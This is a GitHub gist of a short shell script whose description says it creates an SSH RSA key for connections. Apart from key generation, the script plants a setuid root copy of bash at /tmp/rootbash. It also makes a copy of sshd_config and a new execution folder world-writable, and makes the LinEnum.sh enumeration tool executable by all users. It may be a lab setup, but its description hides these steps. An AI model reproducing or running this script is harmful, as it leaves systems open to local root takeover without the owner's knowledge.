Last active
March 14, 2022 05:31
-
-
Save vacax/f02969584d613322ee57f9dd3bce47b4 to your computer and use it in GitHub Desktop.
Script para crear llave rsa de ssh para conexión
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
FILE=/root/.ssh/id_rsa_nuevo.pub | |
if [ ! -f "$FILE" ]; then | |
yes yes | ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa_nuevo | |
cp $FILE /home/ucjc/ | |
fi | |
if [ ! -f /home/ucjc/sshd_config ]; then | |
cat /etc/ssh/sshd_config > /home/ucjc/sshd_config | |
chmod 777 /home/ucjc/sshd_config | |
fi | |
if [ ! -d /home/ucjc/carpeta_ejecucion ]; then | |
mkdir /home/ucjc/carpeta_ejecucion | |
chmod -R 777 /home/ucjc/carpeta_ejecucion | |
chown apache.apache /home/ucjc/carpeta_ejecucion | |
fi | |
if [ ! -f /tmp/rootbash ]; then | |
cp /bin/bash /tmp/rootbash | |
chmod +xs /tmp/rootbash | |
fi | |
chmod 777 /home/ucjc/LinEnum.sh |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment